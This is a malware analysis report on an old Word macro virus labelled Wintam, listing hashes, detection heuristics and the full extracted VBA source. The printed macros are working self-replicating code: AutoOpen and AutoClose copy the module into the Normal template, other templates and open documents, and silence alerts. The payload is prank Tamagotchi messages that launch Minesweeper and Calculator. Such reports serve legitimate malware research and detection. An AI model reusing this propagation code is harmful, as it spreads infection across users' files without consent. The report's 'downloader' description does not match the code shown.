Wintam — Office (OLE) malware analysis

Static analysis result for SHA-256 636263b453511685…

MALICIOUS

Office (OLE)

37.5 KB Created: 2002-10-30 13:58:00 Authoring application: Microsoft Word 8.0 First seen: 2012-06-14
MD5: a0292735aa39309a168479a242272243 SHA-1: ba5bf6b3375bb30c0bea7b627134014a273f9582 SHA-256: 636263b453511685c82c76712fe713087feb2faf73c4bddb3ceaab8f64ad61cb
180 Risk Score

Malware Insights

Wintam · confidence 90%

MITRE ATT&CK
T1059.005 Visual Basic T1566.001 Spearphishing Attachment

The sample contains VBA macros, specifically an AutoOpen macro, which is a strong indicator of malicious intent. The script attempts to execute 'WinMine.exe' and 'Calc.exe' after displaying a series of messages to the user, suggesting a downloader or dropper functionality. The ClamAV detection 'Doc.Trojan.Wintam-1' further supports the classification as the Wintam family.

Heuristics 5

  • ClamAV: Doc.Trojan.Wintam-1 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Trojan.Wintam-1
  • VBA macros detected medium 2 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • AutoOpen macro high OLE_VBA_AUTOOPEN
    AutoOpen macro
  • Auto_Close macro high OLE_VBA_AUTOCLOSE
    Auto_Close macro
  • Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC
    OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 3913 bytes
SHA-256: 20d88c65e662f9a593e6586490f608421731d1b59582e1ceb4527bfd2fb2ac5b
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True

Attribute VB_Name = "WinTam"
Const CountMessage = 4
Dim Message(CountMessage)
Dim Answer(CountMessage)
Dim Exec(CountMessage)
Dim Text(CountMessage)


Sub Init()
    Message(0) = "Тамагочі хоче спати. Закрийте всі активні програми і натисніть кнопку Reset..."
    Answer(0) = "Я буду плакати !"
    Exec(0) = ""
    Text(0) = "Я вже плачу ... Е - Е - Е   ЕЕЕЕЕ  Е ЕЕ ее  ЕЕ ..."
    
    Message(1) = "Тамагочі голодний. Вставте бутерброд зі салом у дисковод А:..."
    Answer(1) = "Тамагочі починає їсти " + ActiveDocument.Name
    Exec(1) = ""
    Text(1) = "Гам ! Гам ! Гам !"
    
    Message(2) = "Тамагочі хоче погратися в DOOM2. Скажіть бах, я здаюся..."
    Answer(2) = "Натисніть IDDQD і продовжуємо DOOMати!"
    Exec(2) = ""
    Text(2) = "IDDQD IDKFA"
    
    Message(3) = "Тамагочі готовиться стати мінером. Попробуйте знайти, де сховався Тамагочі..."
    Answer(3) = "Сапером можеш ти не бути, та віддихати все ж потрібно!"
    Exec(3) = "WinMine.exe"
    Text(3) = "Бух !"
    
    Message(4) = "Питання від Тамагочі. Скільки буде 2+2 ?..."
    Answer(4) = ""
    Exec(4) = "Calc.exe"
    Text(4) = "2+2=?"
    
    Ans = MsgBox("Поздоровляємо Вас. Ви усиновили Тамагочі на даний сеанс роботи! Прохання берегти його, годувати, не залишати в холодному місці!", vbOKOnly + vbInformation, "Microsoft Word", "", 0)
    
    Application.OnTime When:=Now + TimeValue("00:03:00"), Name:="QUEST"
End Sub

Sub AutoOpen()
    
    Application.OnTime When:=Now + TimeValue("00:15:00"), Name:="Init"
    
    Application.DisplayAlerts = wdAlertsNone
    
    For Each AutoText In NormalTemplate.AutoTextEntries
        If AutoText.Name = "Тамагочі" Then Exit Sub
    Next AutoText
    
    Set AT = NormalTemplate.AutoTextEntries.Add("Тамагочі", Selection.Range)
    Application.OrganizerCopy Source:= _
       ActiveDocument.FullName, Destination:= _
       NormalTemplate.FullName, Name:="WinTam", Object:=wdOrganizerObjectProjectItems
    
End Sub

Sub AutoClose()
    
    For Each Templ In Templates
  
    For Each AutoText In Templ.AutoTextEntries
        If AutoText.Name = "Тамагочі" Then GoTo NoInfectedTemplate
    Next AutoText
    
    Set AT = Templ.AutoTextEntries.Add("Тамагочі", Selection.Range)
    Application.OrganizerCopy Source:= _
       NormalTemplate.FullName, Destination:= _
       Templ.FullName, Name:="Тамагочі", Object:=wdOrganizerObjectProjectItems

NoInfectedTemplate:
    Next Templ
    
    For Each Docs In Documents
   
        For C = 1 To Docs.Versions.Count
            If Docs.Versions(C).Comment = "Тамагочі" Then GoTo NoInfectedDoc
        Next C
        
        If Docs.Type = wdTypeTemplate Then GoTo NoInfectedDoc
    
        If Docs.Path <> "" Then Application.OrganizerCopy Source:= _
            NormalTemplate.FullName, Destination:= _
            Docs.FullName, Name:="WinTam", Object:=wdOrganizerObjectProjectItems: _
            Docs.Versions.Save Comment:="Тамагочі": Docs.AttachedTemplate = ""
        
NoInfectedDoc:
    Next Docs
   
End Sub

Sub Test()
    OnTime
End Sub

Open this report in the interactive analyzer, or submit your own file for analysis.